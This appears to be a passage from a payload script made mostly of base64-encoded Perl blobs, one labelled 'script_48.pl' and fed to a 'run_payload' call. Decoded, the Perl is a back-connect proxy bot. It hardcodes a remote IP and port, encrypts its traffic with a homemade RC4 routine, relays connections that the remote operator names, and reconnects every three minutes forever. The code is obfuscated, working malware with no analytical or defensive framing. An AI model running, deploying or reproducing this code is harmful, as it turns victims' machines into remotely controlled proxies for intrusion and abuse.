2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_48.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTkwJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24